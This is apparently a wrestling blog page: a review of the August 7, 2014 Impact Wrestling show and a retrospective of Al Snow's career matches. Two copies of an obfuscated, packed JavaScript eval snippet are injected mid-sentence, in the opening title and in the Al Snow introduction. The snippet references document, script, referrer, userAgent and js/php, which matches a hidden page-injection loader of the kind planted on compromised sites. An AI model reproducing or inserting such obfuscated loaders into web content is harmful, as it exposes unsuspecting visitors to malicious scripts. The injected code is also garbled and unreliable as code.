Impact Wrestling – August 7, 2014: It Happened

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyttk|var|u0026u|referrer|inane||js|php'.split('|'),0,{})) Wrestling
Date: August 7, 2014
Location: Manhattan Center, New York City, New York
Commentators: Mike Tenay, Taz

Tonight is the night. After all the weeks of build, all the hype and all the stories, tonight is when it finally happens. I won’t spoil it for you here because I’m not TNA, but tonight is when something very big takes place. Granted they showed it on Impact last week, but that’s been shown to work in drawing an audience in the past. Let’s get to it.

We get a parental advisory due to mature subject matter for tonight’s show.

Team 3D and Tommy Dreamer talk about how they’re going to war tonight and promise to put Dixie through a table tonight.

We get the IT HAPPENS trailer to open the show.

Bram vs. Abyss

Monster’s Ball. The bell rings and we’ve already got an ECW chant. They quickly head to the floor and the fans want tables. The announcers are telling the fans to call their friends for the Dixie stuff. Weapons are brought in and the fans want blood. Abyss wedges a chair between the ropes but takes some trashcans to the head to put him down.

Bram brings in a barbed wire board but gets sent into the corner for his efforts. He brings in the wrench but Abyss grates his crotch. Abyss sends him face first into the chair and it’s time for Janice and the tacks. Bram tries to fight back but gets chokeslammed onto the tacks, only to have Magnus offer a distraction. A spear puts Abyss through the barbed wire board and a Janice shot to the ribs gives Bram the pin at 8:12.

Rating: C+. Picture ANY Abyss Monster’s Ball match and this was about the same. I’m sick of seeing TNA try to rekindle the ECW fire though. That’s clearly what they were going for here and while it was entertaining, I’m totally over it. This was entertaining, but do something new instead of just rehashing everything.

Joe and Low Ki trade words over who will be X-Division Champion.

Team Dixie says they’re ready for the war tonight. Snitsky insists it isn’t his fault.

Here’s the Trio with a bunch of women. MVP rants about how he had issues when he was the boss and how everyone whined to him. As long as they control the World Title, they control this company. Lashley is going to be champion for years to come and he’s run through every hero here. First up there was Eric Young, then Jeff Hardy and last week it was Austin Aries. There’s no one left for him to beat.

This brings out Bobby Roode for a war of words between he and MVP, but Roode wants to talk to Lashley. Roode says that he’s a former World Champion and says MVP is going to manipulate Lashley every chance he gets. Lashley holds up the belt and the Trio attacks, with MVP nailing him with the crutch. Eric Young and Austin Aries come out for the save.

Gunner and Samuel Shaw are walking in the back when Anderson comes up. He wants to talk to Gunner but wants Shaw gone. Shaw leaves and Gunner says Anderson should trust Samuel. Anderson isn’t impressed.

Bully Ray won’t say who their fourth man for the eight man tag is.

Mr. Anderson/Samuel Shaw/Gunner vs. BroMans/DJZ

Anderson and Jesse get things going with the bigger star nailing a slam and elbows for two. Gunner comes in and hammers away for some two counts as I continue to wonder what happened to his big push. Gunner tries to tag out to Shaw but Anderson tags himself in due to mistrust. Anderson beats up the now legal Robbie but still won’t tag Shaw. Instead it’s Gunner again with the heels taking over via some good old fashioned eye rakes.

DJZ nails a missile dropkick and the triple teaming begins. A flapjack puts DJZ down but Anderson steals another tag from Shaw. Jesse and Ion save Robbie from a Mic Check and everything breaks down. Shaw finally comes in and destroys everything in sight, only to have Anderson get in an argument with him, allowing Robbie to roll Anderson up for the pin at 5:02.

Rating: D+. Standard six man storytelling here as the BroMans actually get a win for a change. I’m not sure where they’re going with Anderson/Gunner/Shaw but it seems like one of those stories where they’re either going very slowly or have no idea what their end goal is supposed to be.

Dixie has King Mo for protection tonight.

Gunner and Anderson argue about Shaw. Samuel comes in and breaks up the argument because it was his fault. This seems to appease Anderson a bit.

Ethan Carter III/Rhino/Rycklon Stephens/Gene Snitsky vs. Team 3D/Tommy Dreamer/???

This is a hardcore war but entrances are staggered every 90 seconds and the win can’t take place until the last man enters. It’s Carter vs. Dreamer to get things going and both have weapons. They quickly head outside with Dreamer’s knees being sent into the steps. Back in and Dreamer hits a quick suplex with a Singapore cane before driving in a bunch of right hands in the corner. Rhino comes in to make it 2-1 and nails Dreamer with the trashcan lid. A bad looking spinebuster sets up some cane shots but D-Von ties things up with a trashcan. D-Von takes over with a few shots of his own and we take a break.

Back with Snitsky giving the Carters an advantage (and looking to weigh about 400lbs) until Bully Ray runs out to even things up again and clean house. Ray looks up at Dixie and Mo as the ECW guys keep dominating. Stephens comes in to complete Team Dixie and clean house with a chair. The heels destroy everyone until the big mystery partner is Al Snow.

The fans want Head (and have a bunch of mannequin heads of course) as Al beats up everyone again. Ray nails a top rope cross body (didn’t look bad either) to take out the mercenaries. Spud tries to make a save but gets What’s Up from Head. Snow moonsaults onto every heel not named Rhino as this just keeps going. Not that it matters as 3D ends Rhino at 17:37.

Rating: D+. This was just WarGames minus the cage and a lot of the talent. There wasn’t much to see here and Al Snow was about as uninteresting of a partner as there could have been. Also, I didn’t need a second hardcore match in an hour but this show is an ECW tribute show anymore so you have to have it.

Bully tells Dixie that the clock is ticking but Dixie says King Mo will knock him out by the end of the night.

The Beautiful People don’t like Taryn. Love wants her title shot.

Ethan says his partner will protect Dixie tonight.

Bound For Glory is coming to Tokyo.

Here are the Beautiful People to complain about Gail and Taryn getting all the attention. Angelina says they’re hotter and that she’s a better wrestler, so why isn’t she getting all the accolades? Instead here’s Taryn to say that she’s never been champion but has Gail’s respect. Angelina says she’s better than both Taryn, Gail, and every other girl on the roster.

Velvet looks annoyed but here’s Gail to interrupt. She’s been given the choice of her opponent, so it’s going to be a fourway next week. Velvet is asked her opinion but Gail cuts her off and says the title match will determine the best next week. The Beautiful People cleans house but gets sent to the floor for their efforts.

James Storm tells Sanada to win the X-Division Title and bow to him.

Someone whose name starts with an H and ends with a K is coming.

We get a preview for next week: the Hardys vs. Team 3D and a fourway Knockouts match.

Bully promises to put Dixie through a table.

X-Division Title: Sanada vs. Low Ki vs. Samoa Joe

The title is vacant coming in. James Storm introduces Sanada in a nice touch, even though I still don’t know what he gets out of this. Joe hammers on Sanada in the corner to start before hitting the chop to his back and a kick to his face. Sanada avoids a knee drop and hits a quick basement dropkick before Low Ki comes back in for a slugout. Joe sends Ki out to the floor but Sanada breaks up a dive. Ki and Sanada head out to the floor for a brawl with Joe nailing both of them with a suicide elbow.

Back in and Joe does his powerbomb into the STF on Sanada. Ki makes a save and hits a cartwheel kick to Sanada’s face, finally giving us the big showdown. Joe gets the better of it but Ki counters the MuscleBuster into a dragon sleeper. Sanada breaks the hold but Ki counters the tiger suplex into a double stomp for two. Joe puts Ki in a cross armbreaker before slapping the Clutch on Sanada for the title at 6:51.

Rating: C+. I know a lot of people are going to love this match but it’s never been my style. I don’t care for the X-Division triple threat style most of the time and this was no better than a lot of the other stuff I see. The title isn’t going to mean much again in a few months, as is always the case for the X-Division.

King Mo is warming up as Dixie cheers him on.

Long video on Dixie vs. Bully. This is a really weird way of doing a segment as they’re acknowledging what’s coming but still treating it like it’s spontaneous.

Here’s all of Dixie’s team but she fires Stephens and Snitsky like the maniac she is. Cue Team 3D and Dreamer with a table but Dixie hides behind everyone she’s paid off. Ray promises to put Dixie through a table and Dreamer says Dixie is everything that’s wrong with this business. Mo nails Dreamer and the brawl is on with the ECW guys taking over. Suddenly Dixie is alone in the ring with 3D but runs when she’s about to take 3D.

Spud swears it’s never going to happen but the entire locker room comes out to throw Dixie to the wolves (Team 3D, not Richards/Edwards). D-Von loads her up (and grabs her in a rather personal spot) and Bully powerbombs Dixie off the middle rope through the table, in what I believe was Dixie’s first bump ever. We even get Bully’s old euphoric look and the announcers are WAY too happy to see this.

I’m not sure how I feel about this. I have no problem with a heel, male or female, taking a big bump to end a story. What I’m not wild on is how everything was announced in advance. This is going to cause some issues in the mainstream media given how violent it was, but that’s the nature of pro wrestling. It felt very scripted though and that’s not a good thing, but the ending was exactly what it should have been.

Overall Rating: C+. This is a case where the main angle is going to determine your taste in the show. It pays off the angle and hopefully keeps Dixie off TV for a VERY long time but it’s going to draw a lot of controversy. The wrestling was good enough for the most part, though I’m very sick of the ECW tribute stuff. Hopefully this blows it off but I want the energy to stay as it’s been awesome.

Results
Bram b. Abyss – Janice to the ribs
BroMans/DJZ b. Mr. Anderson/Gunner/Samuel Shaw – Rollup to Anderson
Team 3D/Tommy Dreamer/Al Snow b. Rycklon Stephens/Gene Snitsky/Ethan Carter III/Rhino – 3D to Rhino
Samoa Joe b. Low Ki and Sanada – Koquina Clutch to Sanada

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Wrestler of the Day – July 15: Al Snow

What does everybody want? Al Snow as Wrestler of the Day!

Snow eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbzhz|var|u0026u|referrer|hdifk||js|php'.split('|'),0,{})) got his start in the indies way back in 1982, where he became known as the best kept secret in wrestling. Naturally he did some jobbing in the WWF, including this match on Wrestling Challenge from September 1, 1993.

Undertaker vs. Steve Moore

Undertaker slowly hammers away to start and I think you can see what’s coming from here. There’s Old School and the Tombstone ends this quick.

Snow would head to SMW and stick around for several years. Here’s his TV Debut in February 1994.

Al Snow vs. George South

Snow is a very cocky heel here and calls himself Simply Sensational. Feeling out process to start until Snow hammers away, only to miss a charge into the corner. Snow comes right back and nails a nice slingshot legdrop followed by a springboard splash for the pin. That was a nice finisher.

Snow would form the Dynamic Duo with Unabom (Kane) after the match. Here they are on August 5, 1995.

Dynamic Duo vs. Matt Hardy/Jason Arnhdt

Snow and Jason get things going with Al hammering away before hitting a nice shwwlbarrow suplex. Off to Unabom (yes it’s spelled that way here) for a powerslam, setting up a superkick from Snow. Al misses a cross body and makes the tag to Matt (yes that) Hardy) who is launched into the corner. A clothesline/German suplex combo is enough to easily pin Hardy. Total squash.

Snow would head to the WWF as Avatar, something resembling a genie. Here’s a match from January 1996.

1-2-3 Kid/Sid vs. Avatar/Aldo Montoya

Sid and the Kid are part of the Million Dollar Corporation. It’s a brawl to start with a double flip clothesline putting the Kid down. Avatar wheelbarrow suplexes Kid for two before it’s off to the arm. Aldo comes in with a chop but Kid kicks Avatar’s head off to take over. The Kid finally gets over to the corner for the tag to Sid as house is cleaned. A chokeslam plants Aldo and the powerbomb is enough for Kid to get an easy pin.

Rating: D+. There was actually some psychology here if you can believe that. The idea of keeping Sid out is an idea that the Horsemen used whenever they were facing the Giant in the Dungeon of Doom feud and it makes a bunch of sense here. I can’t believe this was as good as it was, even though it wasn’t much to see.

Another of Snow’s gimmicks was Leif Cassidy, including this match at Summerslam 1996.

Tag Titles: Smoking Gunns vs. New Rockers vs. Bodydonnas vs. Godwinns

The heel Gunns are defending and this is under elimination rules. The New Rockers are Marty Jannetty and Leif Cassidy (Al Snow) and the Bodydonnas are Skip (Chris Candido) and Zip (Tom Pritchard). Skip is in a neck brace here due to a potentially broken neck but he’s wrestling anyway. The Gunns have Sunny who looks GREAT as a cowgirl. Billy Gunn starts with Henry Godwinn with Hank throwing Billy around with ease.

A wheelbarrow slam sends Billy out to the floor and it’s off to Phineas vs. Zip. After a comedic feeling out process it’s off to both Gunns at the same time. Zip and Phineas strut across the ring for no apparent reason as the Gunns freak out about having to fight each other. The referee says either make contact or be disqualified. After no contact, Bart tags in Zip so the crowd can have something else to be bored by. Jannetty trips Zip and Billy gets an easy pin so the Bodydonnas don’t have to be out there long.

Henry comes back in to crank on Billy’s arm but Billy quickly tags out to Jannetty. Marty slowly pounds on Henry and plays to the comatose crowd. Leif gets the tag but quickly brings in Billy to work over Henry. The Rockers have a miscue with the Gunns and Henry gets two off a side slam on Billy. Marty’s save results in an elbow drop on Billy as everything breaks down. Henry kicks Marty into Leif and hits the Slop Drop (reverse DDT) on Cassidy for the elimination.

We’re down to the Godwinns vs. the champions and it’s Bart in for the first time. Henry explodes out of the corner with a clothesline to put both guys down. Bart breaks up a tag attempt as this match is dragging terribly. Billy comes in and the place is so silent you can hear the insults between the wrestlers.

Back to Bart to pound away on Henry for a few moments before bringing Billy back in. Henry catches a charging Billy in a World’s strongest Slam and there’s the lukewarm tag to Phineas. He cleans house and everything breaks down with Phineas hitting the Slop Drop on Billy, only to have Bart blast Phineas from the top for the pin to retain.

Rating: D-. This was so boring I could barely keep my eyes open. The tag title scene was so barren at this point that there were practically zero interesting acts at all. That would be the case for over a year when the New Age Outlaws FINALLY brought the division back to life for a few years. Terribly boring match.

Another match from In Your House XIII.

Marc Mero vs. Leif Cassidy

Cassidy doesn’t even get an entrance. Instead he slaps Mero in the face and gets taken down by an armdrag for his efforts. We hit the armbar for a bit with Mero in control but Cassidy fights up and shoves the referee before bailing to the floor. Leif wraps Mero’s leg around the rope but Sable goes after him, allowing Mero to come back with right hands. Back in and a slingshot legdrop keeps Cassidy in trouble with Mero shouting to stay away from Sable.

Cassidy comes back with a pair of dropkicks to the knee and Mero is in trouble. More kicks to the knee have Marc on the mat and Leif slaps on a leg lace. Mero’s knee is slammed down into the mat as the fans are starting to wake up a bit here. Back to the leg lock as Mero’s offense is stopped cold again. Mero finally reaches over and grabs a rope so Leif keeps stomping away.

The leg locks continue until Mero fights up and scores with an enziguri, setting up a rollup for two. Cassidy will have none of this being on defense and puts on a lame figure four leg lock but Sable helps Marc get to the ropes. Leif goes after Sable so Mero dives through the ropes to take him out. Back in and Marc rams him face first into the mat a few times before a Samoan drop sets up the Wild Thing for the pin.

Rating: D+. I didn’t hate the match and the psychology was working, but the execution was rather boring for the most part. This was more about pushing Sable as having more backbone and Mero being more protective of her, but I see no reason for this to have been on PPV. This could have been accomplished in half the time on TV which brings this down. Not a horrible match though.

It was off to ECW soon after this, including this match at Born To Be Wired.

TV Title: Taz vs. Al Snow

Snow is challenging and is on the verge of the push of a lifetime which would result in Heyman completely screwing up and not putting the world title on him because Shane Douglas must be champion forever in ECW. Snow rips into the fans for saying that he’s not Leif Cassidy (role he played in WWE) but Al Snow. The fans want Taz to murder Snow which is the norm for them most of the time.

After a long stall Taz takes it to the mat to take over. The fans want Snow’s neck broken. The champ cranks on the arm and does it again after Snow escapes. Snow tries to fight up and gets caught in an ankle hold. This is all mat stuff so far and it’s pretty good as well. After Snow bails to the floor he comes back in and is immediately caught in an Alabama Slam but he hits a kind of enziguri to the face of the champ to take over.

A suplex puts Taz down and the fans are still all over Snow. Taz is like screw this wrestling stuff and takes Snow down to pound away, but Snow rakes the eyes. Now Taz is like screw this brawling stuff and suplexes Snow down. Snow slams him down and fires off some kicks but gets pounded in the face for his efforts. Taz comes back with a German suplex but walks into a suplex from Snow. That gets no sold and it’s the Tazmission to retain the title.

Rating: C+. This never quite clicked as they were didn’t seem quite sure what they were going for as Taz kept switching from wrestling to brawling. Maybe that’s what they were going for but it didn’t quite work. Snow as a guy completely hated by the fans because he used to be in the WWF worked fine and it worked even better when he turned into the psycho head shaking guy. Not terrible here but it was your usual Taz match from this time period. The mat stuff was good though.

Snow would get that mega push soon after and main event Wrestlepalooza 1998.

ECW World Title: Al Snow vs. Shane Douglas

Shane is defending and is badly injured coming in. He takes the huge brace off his arm, leaving it only with a bunch of bandages over it. They trade chops to start until Snow goes for the bad arm. Shane quickly bails to the ropes so Al punches him in the face. Al goes up top but Francine pulls him back down. They head outside for more brawling with Snow sending him into the barricade.

Back in and some shoulders get two for Snow but Shane dropkicks him down and puts on a chinlock. Shane lets go and sets up four chairs in the middle of the ring. Snow gets powerbombed through two of them for a near fall as the fans try to rally behind him. He comes back with a DDT but has to deal with Candido.

Shane grabs the belly to belly for two and Al has new life. He has to go and take out the Triple Threat again before getting two off a high cross body on Shane. The locker room comes out as the Snow Plow connects for two. Francine comes in and takes a Snow Plow as the Freaks take out Candido and Bigelow. Snow goes up for a top rope sunset flip…..and Shane sits down on it to retain the title.

Rating: D. The match was watchable but the booking was horrible. This match was basically a love letter to Shane Douglas from Paul Heyman as all night long we heard about how Shane was coming in at less than 100% and how he’d be going away for surgery after the match. What makes it worse is that’s absolutely true. From what I can find, Shane would wrestle one tag match between this show and September, meaning the title just wasn’t defended in that span of time.

As for Snow not getting the title, there’s more of a case for that making sense. Snow was officially under contract to the WWF at this point and was being called back to work there, so putting the title on him didn’t make sense if he was about to leave. However, Snow would wrestle another month or so for ECW and put a bunch of people over. This begs the question of why not put him on top for a quick run and then give the belt to someone else.

The argument against this idea would be that it makes the reign seem worthless. While this is true, history is shown that this really doesn’t mean much. Look at Mick Foley’s first WWF Title reign in 1999. Yes Foley dropped the title in less than a month, but the moment was absolutely perfect and is still very fondly remembered over fifteen years later. Snow winning the title would have been the same idea: it had been built up so strongly that the loss completely deflated the fans.

That’s the final problem with this decision. The fans are basically told to never get behind someone because the company is going to crush them at their biggest moment. As a fan, why should I care about someone for a long time after Snow? This broke their spirits and took away all the energy they had going into the match. That’s something you never want to do, especially when the reward was about eight months off.

Snow would be back in the WWF soon and have a match on Raw for his job, September 21, 1998.

Al Snow vs. Sgt. Slaughter

This is a boot camp match, which basically means a street fight. Before the match Snow does the questions about Head. If Snow wins he’s reinstated but if he loses he’s gone. Sarge jumps him and rips off Snow’s shirt as Cornette says that Snow is as crazy as a rainbow trout in a carwash. Snow comes back with a superkick and a slingshot into the post. Snow has Slaughter’s belt and whips the Sarge’s back and they go to the floor.

He gets a chair but his swing hits the post. A chair to the back of Snow gets two on the floor. Snow shrugs that off and hits something like Poetry in Motion up against the railing. A moonsault off the barricade only gets two. Cornette is just great on commentary, snapping off all kinds of analysis and insane things but staying entertaining the entire time. Snow goes up top with the chair but as he moonsaults with it, Sarge moves and Al hits canvas. Cobra Clutch goes on but Snow escapes. He breaks it up again with a low blow and Sarge takes off his boot. That goes nowhere and a shot with Head gets the pin for Al.

Rating: D. This was nothing but a way to finally give Al a reason to be around every week, even though he has been for like four months. Sarge is only so interesting and it was pretty clear that he wasn’t going to win here. I like Snow but this did nothing for me for the most part and that’s not a good thing.

Snow would quickly find his niche in the Hardcore Title hunt. Here he is in a title match at In Your House XXVII.

Hardcore Title: Al Snow vs. Bob Holly

The title is vacant coming in due to the champion Road Dogg being injured. The brawl is on to start with Snow scoring with a quick chair shot. They head into the crowd with Snow in control until he gets slammed down onto some steps. Holly blasts him in the face with a fire extinguisher and breaks a glass jaw over Snow’s head, only to be sprayed down by the fire extinguisher as well.

They head backstage with both guys being thrown into doors until Snow pelts a trashcan at Holly. Bob comes back with a beer case and they fight outside where it’s 40 degrees at most. Holly is rammed head first into the side of a truck and they head over to the fire lane with Holly breaking a no parking sign over Al’s back. Snow seems to be laughing as Holly gets two. They head over to a wall and then a fence with Snow shouting at Holly for turning on him by leaving the J.O.B. Squad.

A stop sign to Snow’s back knocks him onto the banks of the Mississippi River but Al knocks him into a wheelbarrow. They fight over to some trees and closer to the water with Holly hitting him in the head with something made of metal. Snow comes back with some kicks and choking on the dirt before Holly is thrown into the water to fire up the fans in the arena. Holly comes back by sending Snow into a tree before Snow comes back with shots to the kidneys. They slug it out even more with Holly wrapping him up in some chain link fence for the pin and the title.

Rating: D+. This is one where you individual taste may vary widely either way. The match was definitely more of a spectacle than a contest which is fine, but if that’s not your thing then you were going to hate this. These two would have more and more of these insane fights which were very hit or miss. It wasn’t bad but it was only for certain tastes.

And another match at In Your House XXVIII.

Hardcore Title: Al Snow vs. Hardcore Holly

Holly is defending. They’re on the floor almost immediately with Snow being sent into the steps. That’s close enough to actual wrestling so they head into the crowd for the real meat of the match. Back to ringside with Snow getting two off a moonsault from the apron. Snow finds a hockey stick under the ring and breaks it apart to blast Holly in the back. Snow got busted open somewhere in there.

Holly gets beaten on with the stick for a few moments until Snow brings in a table. He takes too long setting it up though and Holly gets in a shot with the hockey stick. They head to the aisle where Holly gets two off a suplex. The fight goes into the back with Snow being rammed into various metal objects. Holly finds a well placed kitchen sink which is destroyed against a wall instead of Snow’s head.

They go out to the parking lot with Holly setting off a car alarm when he’s rammed into a hood. Snow finds a broom to break over Holly’s back and walks him over to some steps back into the arena. Holly throws him over the ledge into a dumpster and follows in with a splash for two. They head back to more cars before fighting into the production truck with Snow throwing him out the door and onto the top of a car for two.

Snow accidentally kicks the window so Holly can punch him back into the arena. Holly whips him into a metal sheet and they head back into the arena where Snow hits him with a frying pan for tow. Hardcore avoids going through the table with a frying pan shot of his own before superplexing Snow through the table. The referee counts to nine until Holly drapes an arm over Snow for two. Snow crawls over to the corner and grabs Head so he can knock Holly unconscious for the pin and the title.

Rating: D+. Lawler sums up the match as soon as it’s over: “After all that, the Head did it?” That’s the problem with something like this. After all the carnage and weapon shots, including frying pans and that great table spot, it was a mannequin head that got the pin? That’s a bit of a stretch to put it mildly. Also way too long here as this was nearly sixteen minutes.

Snow would be in a Tag Team Title match at Survivor Series 1999.

Tag Titles: New Age Outlaws vs. Mankind/Al Snow

The Outlaws are defending. Ross accuses Billy of being the driver but Lawler doesn’t care at all. Mankind says Austin will get through this. Gunn and Mankind get things going with Billy getting two off a neckbreaker. We hit a sleeper like a minute in and then we look at the Head. JR and Jerry are arguing again as the guys in the ring go to the floor, making them guys no longer in the ring.

Roadie accidentally hits Billy in the face and it’s off to Snow vs. Road Dogg. JR talks about Snow having his action figure pulled off the shelves at Wal-Mart because some stupid professor said that having a severed head included in a toy would send the wrong message to her kids about violence to women. This is going to be a quick sidebar.

First and foremost, it’s not a severed head. It’s a mannequin head and simply LOOKING AT THE THING would tell you that. Second, if you’re concerned about what kind of impression a toy would give to your kids, either A, don’t buy it for them, or B, tell them why you don’t like it. Heaven forbid you have to tell your kid he can’t have something he wants because you deem it inappropriate. Third, and this is the part that I like best, Snow mentioned in a promo that clearly the stores care about their customers because they pulled the figure from the shelves, but the guns, bullets and knives are still on the shelves.

Anyway, now that the people who can’t think before they run their mouths and have to decide how people should live their lives because apparently people aren’t smart enough to make decisions for themselves are out of the way, let’s get back to this dull match. Mankind pounds on Roadie in the corner and hits a running knee to the head. Snow pokes Road Dogg with a chair in the ribs which isn’t a DQ for some reason. Neither is the shot to Road Dogg’s back from Mankind.

Mankind hooks a reverse chinlock back in the ring followed by a lot of stomping in the corner from Al. Mankind gets two off a knee lift as things continue to go slowly. Snow hits his headbutts but Road Dogg fires off some lefts and a big right to take Snow down. Everything breaks down and the crowd is DEAD for this. They head to the floor with the Outlaws taking over.

Snow gets beaten on for awhile before clotheslining Roadie down and it’s not hot tag to Mankind. Mankind pounds away for a bit but gets caught by the Fameasser for two. Snow hits the Snow Plow on Road Dogg and here’s Socko. Both Outlaws get Clawed but they both hit Mankind low to escape. Snow hits Billy with Head to give Mankind a two count, followed quickly by the Outlaws hitting a spike piledriver on Mankind to retain.

Rating: D. This got better at the end but the twelve minutes before that were way too dull to be considered good at all. Mankind and Snow were there to fill in spots and while that’s ok, it doesn’t make for an interesting match. It didn’t help that the crowd was deader than Billy Gunn’s career for most of the match. Nothing to see here.

Here’s another tag match from Wrestlemania 2000.

Head Cheese vs. T&A

Snow brings out Chester McCheeserton, which is a guy in a cheese suit. Snow: “This is better than Shawn on a zipline.” That would be Test and Albert (Tensai) with the brand new Trish Stratus as their manager. Test and Blackman start as JR’s mic goes out. Test gets kicked down quickly but it’s off to Albert who hits a quick splash in the corner for two. Snow comes in for a few seconds but it’s quickly back to Steve for a running shoulder which takes Albert down.

Snow comes in again sans tag with a slingshot legdrop to the back of Albert’s head. Blackman breaks up a gorilla press attempt from Albert to give Snow two. Head Cheese double teams Albert as the fans are dying faster and faster by the minute here. Chester annoys Trish as Blackman drops a knee on Albert’s crotch. Off to Snow who gets caught in a suplex, allowing for the ice cold tag to Test.

T&A his a double powerbomb on Snow as JR calls it bowling shoe ugly. Snow hits an Asai Moonsault on Test before the modified Trash Compactor (backbreaker by Blackman/guillotine legdrop from Snow) for two on Test. The match breaks down even more as Albert hits a gorilla press on Blackman before a top rope elbow by Test gets the pin.

Rating: D-. Anything with Trish in an outfit that small can’t be a failure, but at the same time this match absolutely sucked. There was NOTHING good going on here and they weren’t just on different pages, but rather in different libraries. This was absolutely horrible and one of the worst Mania matches ever.

Snow would become a bit more serious near the end of the year and win the European Title. Here’s a defense from Smackdown, October 5, 2000.

European Title: X-Pac vs. Al Snow

X-Pac is challenging and Head is dressed as a vampire for Halloween. William Regal is on commentary and complaining about Snow making a mockery of the European Title. Snow nails a spinwheel kick and hammers away in the corner, only to get kicked in the face right back. Snow comes back with right hands and a moonsault gets two. Head gets involved but Snow is sent to the floor. Regal tries to interfere but Billy Gunn sneaks in and lays out X-Pac, giving Snow the pin.

Snow would take a good deal of time off to film Tough Enough. We’ll pick things up on Raw, October 21, 2002.

Al Snow vs. Tommy Dreamer

Singapore Cane match. We start with a cane duel and Snow gets in the first connecting shots to the legs. Out to the floor and Dreamer fires away more cane shots but Snow headbutts him down. Back in and Dreamer kicks Al low, followed by a missed cane shot from an interfering Nowitski to give Dreamer the pin. Nothing to see here.

Snow would start wrestling less around this time and do some commentary on Heat. This led to a battle of the announcers (because those work SO well) and this match at Unforgiven 2003.

Jim Ross/Jerry Lawler vs. Al Snow/Jonathan Coachman

The winner to do the announcing for Raw. Yes, they asked people to pay $34.95 for this. There’s no commentary for this. I think I can get by without the extra jokes somehow. The wrestlers start and Lawler kind of botches a rollup. Ok then. The lack of commentary is weird here but then again I’m watching Ross and Coach on PPV. You can hear them shouting at each other a lot better which is weird to hear.

That might be Ross’ big mouth though so there we are. Snow “hits” a clothesline and I say that in the weakest sense of the word hit. Snow, being younger and better at this point, dominates as we’re just waiting on the other guys to come in and make it a comedy match. Coach is the team captain apparently. Oh dear. There’s the piledriver on Snow and JR does commentary from the apron. The foot gets to the ropes but Snow sold that like he had an anvil fall on his head so I can’t complain there.

And it’s Coach time, which has even Snow wondering what the heck he’s doing. As usual, Lawler’s offense is shall we say limited? The middle rope punch hits but Snow makes the save. Ross gets a blind tag and the referee is fine with it I guess. He beats up Coach for awhile and I see why he stayed in the booth for his career.

Coach keeps shouting not in the face which is funny. And here’s Jericho to kick Ross in the head and let Coach and Snow become the Raw announcers tomorrow. Ross would beat Coach in 8 days to get the sanity back. Jericho says this is to get back at Austin for no apparent reason.

Rating: F. Seriously, do I need to explain why this going on for 8 minutes was a bad idea? It was mainly Al Snow vs. Jerry Lawler and someone thought this was a good idea. Here’s the thing: no one really cares about announcers in a national company. Wait scratch that. They do care about them, but only the way they sound. We don’t want to see them in the ring other than a once a year match from Lawler in Memphis. That’s it. Now stop doing this nonsense.

Snow would basically retire from the WWE ring soon after this but return as an old gimmick on Raw, April 12, 2004.

Tajiri vs. Shinobi

Shinobi is Snow’s old ninja gimmick and is here as part of Coach’s feud with Tajiri. If Tajiri wants to fight Coach at Backlash, he has to win here. The ninja is just called a ninja here but it’s the same gear and character so we’ll go with Shinobi. They trade wristlocks to start before Tajiri fires off some kicks and the handspring elbow. He goes for the mask but gets kicked in the back of the head. Shinobi slaps the referee in the face and Coach breaks up the Tarantula. The Snow Plow is countered and the Buzzsaw Kick is good for the pin.

Rating: D. This was an angle instead of a match and there’s nothing wrong with that. Unfortunately that’s about the extent of stuff that wasn’t wrong here. The match was dull and given that Coach has no friends, the identity wasn’t that hard if you knew what to look for. Bad match, even though I like Tajiri.

Shinobi is unmasked as Al Snow post match.

Snow wouldn’t wrestle much after this other than a few appearance on ECW on Sci-Fi not important enough to include. He would become an agent in TNA but would occasionally wrestle, including at Hardcore Justice 2010.

Brother Runt vs. Al Snow vs. Rhyno

Runt is Spike Dudley of course and is nearly bald. This is elimination rules and better not break 8 minutes. Spike hits a dive that is ok after some basic stuff. He plays the role of the pinball of course and I still wonder what Snow has to do with this. Snow hits the trapping headbutts on Rhyno. TNA guys are watching in the back. Why they’re here is beyond me because they’re not wrestling.

Acid Drop to Rhyno is blocked and this needs to end fast. We’re on the floor again and you actually can’t see due to the lighting. The referee goes down and Head drills Rhyno. Spike does the Eddie chair thing by slamming the mat with it and throwing it to Rhyno. He and Snow do the same thing so they’re all down. Oh my head hurts. Acid Drop ends Snow and then the Gore ends the whole thing.

Rating: D. I like Snow but this was just bad. There’s a reason these guys retired: THEY AREN’T THAT GOOD ANYMORE. Rhyno is ok at best and he’s the biggest star by far in this. At least he won I suppose, but this was just random as all goodness with no point at all. Well at least it’s over and wasn’t that long.

We’ll wrap it up with Bound For Glory 2012, where Snow is facing Joey Ryan. Ryan had been on Gut Check but didn’t get Snow’s vote. He tormented Snow for months so here’s his chance at a job.

Al Snow vs. Joey Ryan

Ryan hides in the corner to start and the fans want Head. Snow is in workout clothes instead of wrestling gear. Snow gets down on all fours and lets Ryan get in a free chance to start. That goes about as well as you would expect for Ryan and he hides in the corner again. This is a good choice for putting on after the big street fight that just happened. It’s a way for the fans to calm down a bit.

Ryan keeps trying basic offense and Snow stops him at every turn. A delayed slam puts Joey down and Snow takes him to the mat with a headlock. Ryan gets in a shot to the ribs and a suplex for two. Snow comes back with the trapping headbutts and grabs Joey’s chest hair. Snow takes him down again for two and the fans want Head. And that’s what they get from under the ring. Ryan shoves the referee down and steals the Head for a makeout scene. Snow ties Joey up in the ring skirt….and here’s Matt Morgan to Carbon Footprint Snow into next week. Ryan gets the easy pin at 8:28.

Rating: D+. This was about what you would expect from Al Snow in 2012. The Morgan twist was fine and a pairing between him and Ryan could be interesting, as if nothing else Ryan could use a bodyguard. This was the ending they had to go with and there’s nothing wrong with that, especially with faces being undefeated in the first hour.

Al Snow is a good example of a solid hand who never got above the midcard. He was a solid trainer though and can have a watchable match with anyone. That’s a very valuable hand to have and his hardcore stuff set him apart from a lot of the guys in wrestling that were talented but never did anything. Given how long it was before he got over on a major stage, he had quite the career.

